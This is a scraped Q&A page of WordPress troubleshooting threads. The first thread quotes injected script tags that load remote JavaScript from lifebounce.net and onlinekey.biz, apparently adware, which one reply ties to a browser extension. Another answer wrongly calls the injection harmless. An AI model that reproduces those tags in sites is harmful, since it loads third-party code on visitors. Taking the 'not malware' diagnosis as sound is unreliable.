How to get rid of this weird piece of code automatically added to my content? - wordpress

I've got this weird issue.
On my WordPress site, when I use WpBakery to add some content
I'm getting this code added in:
<p><script src="//lifebounce.net/1f9f5ee62aefca3cb1.js" async="" type="text/javascript"></script><script src="https://onlinekey.biz/optout/set/lat?jsonp=__mtz_cb_550940944&key=1f9f5ee62aefca3cb1&cv=1571504038&t=1571504040362" type="text/javascript"></script><script src="https://onlinekey.biz/optout/set/lt?jsonp=__mtz_cb_742169584&key=1f9f5ee62aefca3cb1&cv=1189237&t=1571504040362" type="text/javascript"></script></p>
<p> </p>
<span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start"></span>
Screen Shot
It adds itself to each block of content inside wpBakery editor.
I've got the same problem on my other WordPress site, and they are not on the same hosting.
I couldn't find any answers on google. Is this anything new?
Thank you for your help!
Chris

This auto insert described above is Not an infection by malware or some rogue script or plugin.
I got the same problem with this auto insert made by the WordPress editor when using my own <script></script> tags entered when in Text mode. The auto insert I got was:
<span style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" data-mce-type="bookmark" class="mce_SELRES_start"></span>
I did a Google search and found the answer,
...this auto-insert issue into WordPress editors and likely affecting WP Bakery as well since WP Bakery is used in place of the WordPress editor.
First, the reference: https://core.trac.wordpress.org/ticket/44275
In the reference page, go to the entry by the WordPress core editor: "#azaozz" (the last entry. What he said in his first paragraph answers the problem.)
This is the "bookmark" inserted to keep the cursor position when switching Visual -> Text or Text -> Visual in the classic editor. - #azaozz
I tested what he said and he was correct. Each time I left my cursor in-between my script tags, I got the auto insert. When I placed the cursor beside regular HTML source code as P tags or DIV tags or anything else that is not a script, there was no auto insert.
As much as #azaozz said this was an edge case, I think it is not an edge case, based on what I found. The bookmark (auto insert) feature made by WordPress does not have issues with common HTML tags the average user may use in WordPress, it has issue with HTML script tags.
Test with WPBakery
I did a test using WPBakery. I inserted a Text Block module with dummny text. I switched to Text view mode and inserted a dummy script embedded in DIV tags as follows;
<div><script>function FAKE(){document.getElementById("NONE").checked = true;}</script></div>
When I left the cursor somewhere between the script tags, I got the auto insert occurring as described above.
Removing the auto insert, I then left the cursor at the end of the closing DIV tag and switched view modes, the auto insert did not happen.
How to Fix
The Fix for this is just being aware where your cursor is left sitting when in Text mode and ensure it is not left in between any script tags. This is an annoying thing, but this issue was created by the bookmark feature WordPress designed.

I have same problem and i found it was only Chrome i try turn off extentions and was it "WhatsGreen Multi Messenger"

I just want to add:
I found this appearing on a new Bitnami WordPress instance, so I cleared the database completely, still there. Then I deleted all the WordPress files, still there. So then I terminated the instance on AWS Console, created a brand new Bitnami WordPress instance, and just as it comes, there script was still there:
Although, it seems to appear initially when the classic editor is used rather than Gutenburg - especially when switching from Visual to Text on the page or post editor.

I wanted to get some clarity for others who have experienced this as well.
Go into Add Post/Page/Product/etc
2)Click on Text
3)Delete all that snippet/code/etc
4)Add your content/words/etc
5)Click Publish/Update Post/Page/etc
6)Update in Visual
7)Update Post/Page/etc
Hope this helps, it helped me and I did the upgrade and deleting plugins.
As far as the deleting everything and starting over, it will still happen until wordpress does a site wide upgrade to remove it through their own mediums.

I found this issue with wpbakery. There was a blank text box in the edit mode of the page.

Most likely your site is infected.
As both sites happen this infection can be coming in many ways.
First option
Tip Try installing a new version of wordpress on your local machine, install all the plugins and themes you use and see if it happens.
If this does not happen then your site has actually been infected.
Second option
Uninstall unnecessary plugins until you find which one is causing it. but if the infection is already occurring in more than one location you will probably not be able to detect it.
Deactivate one plugin at a time and try saving again without the code and see if it happens.
Do this one plugin at a time until the code stops injecting itself.
If this does not happen then your site is already infected in other files.
Third and last solution
If the second option does not work and the first option is all normal, the best option is to delete everything from the online server and re-install wordpress and plugins and install a good security plugin.
And if possible disable file changes on the server. This way even if a plugin has some flaws it will not be possible to edit any wordpress file.

Related

Absolute external links bug, url of the current page added at the beginning of the url

I have a very strange external links behavior on this page:
https://dev.switchonpaper.site/en/daniel-g-andujar-the-artist-as-a-thinker-and-augur-of-what-happens/
There is a list of external links visible by clicking on "Go Deeper".
On some links, the address of the current page is added at the beginning of the external link.
E.g.: iSAM™ (1997)
E.g.: TTTP Photo Collection - 1997
All external links are absolute links.
When you look at the source code, the links are correct.
This site runs under Wordpress, the links are contained in a Gutenberg block built with the ACF plugin.
I tested the following things:
Disable all plugins.
The browser or something else continues to add the current page address on some links only.
I emptied the server cache, removed all the .htaccess rules except the wordpress part.
I made sure that the PHP file that writes these links is in UTF-8.
By recreating the links, it is always the same ones who are affected.
Does anyone have any idea what could cause this?
Thank you for your time and help!
You have the so called "hidden characters" before your link start. I suggest you to check it by yourself with some online tool like this: https://www.soscisurvey.de/tools/view-chars.php. If you try to paste there the link copied by your source code you will see you have hidden stuff before "https:..."
The solution to this issue is that you delete all the characters and you write them all over again by yourself, w/o copy/pasting them from another source or in alternative paste them inside some non-HTML text editor before pasting them to your website

Wordpress editor showing white text

I have a problem with a Wordpress site, the editor is showing the text as white (on a white background) so unless you highlight the text, you can't see it. This is only in the admin section of the site, the front-end doesn't seem to be affected
I have found where the css is changing the text to white ( /wp-includes/css/editor.min.css ):
.js .tmce-active .wp-editor-area{color:#fff}
I have removed this and cleared the cache (even tried a different browser) but it's still showing in the editor.
Also, the 'Visual' and 'Text' buttons don't work.
Any ideas?
I have gone through an disabled each plugin, one at a time but it still is a problem.
Check your javascript console. If you see an error like:
"post.php?post=2840&action=edit:2783 Uncaught ReferenceError: tinymce is not defined"
Then the loading of wp-tinymce.php failing. Because the editor hasn't loaded, it appear as if your text is white, or "invisible" in the editor. This can be worked-around by adding:
define('CONCATENATE_SCRIPTS', false);
(Per Tijmen above, or https://wordpress.stackexchange.com/a/63172/118510)
(I use WP Fastest Cache plugin which has it's own concatenation, so if I use that plugin, then I'm OK skipping the default Wordpress concatenation.)
The root problem, however, is that a request to:
/wp-includes/js/tinymce/wp-tinymce.php?c=1&ver=4506-20170408
Is failing or receiving a 404. This could be due to a security restriction on your hosting or CDN.
Let's start with the obvious: is your Wordpress install completely up-to-date, including all plug-ins, themes etc?
It could help to actively declare the color to be black, instead of simply removing the line of CSS you removed, so:
.js .tmce-active .wp-editor-area{color:#000000}
Alternatively, this issue has been known to be caused by several plugins, such as PS Disable Autoformatting, however that instance was a few years ago. Did you recently install a plug-in? If so, try disabling that plug-in to see if that returns the editor to normal.
If none of this solves the issue, you can also try downloading Wordpress and replacing the /wp-includes/js/tinymce/ folder. Although it's unlikely, it's not impossible that something went wrong during an update or so.
If nothing else works, according to this link, you can open your wp-config.php file and add the following line at the very top after the php opening tag.
define('CONCATENATE_SCRIPTS', false);
I have just fixed this problem and thought it would be worth mentioning this basic check to others. If you are installing another theme or a second theme that installs it's own set of plugins, make sure you don't have any existing plugin composers installed or still activated. This can cause the conflict that makes the text white and the tabs to not work.
For me, I had both CMSMasters Content Composer (From previous theme) and WPBakery Visual Composer (From new theme) installed and active, which gave me this exact issue. I had also tried replacing the tinymce file and adding the extra line to wp-config, but none of these worked. Deactivating CMSMasters Content Composer fixed the white text issue for me.
Go into your account settings and check "Disable the visual editor when writing" ... Now try your page and/or post again. You should have text, not in white, and now you should be able to edit your page. Of course, you won't have a visual editor and that isn't any fun.
I think this eventually is a server problem where there are not enough resources for all the block rendering for both javascript and css. In Chrome, check the 'performance' of the page in developer tools ... it's likely less than 30.
For me, the problem was caused by the way the wordpress editor interacts with vue.js in my plugin's custom admin page.
Specifically, the white-text issue on the editor was caused by being inside of a v-if. There must be some conflict in how v-if renders the content which breaks TinyMCE if it is inside of the v-if.
The fix was as simple as switching to v-show. This causes the TinyMCE to be rendered once on page load and then just hidden as needed. Using v-show causes the editor text and toolbar rendered normally.

Meteor xolvio:md-blog: Site title is changed to "name"

I have finally successfully installed the Meteor package md-blog from xolvio. The only thing that is bothering me, is that the title of the site is changed to "name". Where can I remove this?
Also on some blog entries my logo in the navbar disappears. Does anyone know what this could be?
If you're basing your blog on the example app (https://github.com/xolvio/md-blog/tree/master/app), the strings used in the app are defined in the internationalization directory (https://github.com/xolvio/md-blog/tree/master/app/i18n). You can edit the en.i18n.json file as you see fit. The site_title property is what you need to edit to change the title of the blog.
Without seeing your blog, I can't evaluate why your logo disappears. Inspect the page to see if it's there but not visible. It's likely a css issue.

Django CMS Deleting HTML5 Tags and Attributes

I am having a big time issue with solving a problem. I have a placeholder called main for the content region of the page. I was building that region in the cms. Everything was going great until I attempted to add an embedded video contained in an iframe. When I save django cms completely removed the iframe and left an empty div. So I attempted to use prettyphoto light box to open the video by clicking on an image. The code I added to the page through the cms is:
<a rel='prettyPhoto[youtube]' href="https://www.youtube.com/embed/mqVZF_yb8C0?autoplay=1&start=1765&iframe=true" data-rel="prettyPhoto">Click Image</a>
When I saved, django cms completely removed the data-rel attribute from the link which is obviously needed for the js. So I went a step further and adapted the code of the data attribute to:
rel="prettyPhoto"
and the cms also removed that attribute! Also anytime I add an html5 tag like article of section it hates that too! What gives here? Am I doing something wrong? Any advice would be appreciated. 
Aaron,
Thanks.
Please see the discussion at https://github.com/divio/django-cms/issues/1529. We use html5lib to clean the contents of the text plugin (this cannot be turned off for security reasons).
What you'll want to do is write a custom plugin (possibly one that can be embedded inside text plugins).

Image on the first line disappear in wordpress posts, but DOES NOT disappear from second line onward

I am developing a wordpress theme based on Roots starter theme . However, I am facing a problem here. When I insert an image on the first line it does not appear, not even in the html mark-up (I checked page source to ensure that). However, when I insert the image from second line onward it shows up properly (also reflected in html mark-up as checked from page source).
I was wondering if that could be an issue with my theme or wordpress itself. I am using version 3.5.1 in the development environment.
Would highly appreciate any discussion on this.
Well you can try to insert the image manually from the begining in HTML code.Find the path of the image that you want to insert and put it on
<img src="" />
Most probably this issue lies with your theme. Try checking your functions.php file and see if there a filter which is related to JavaScript or the_content.

Resources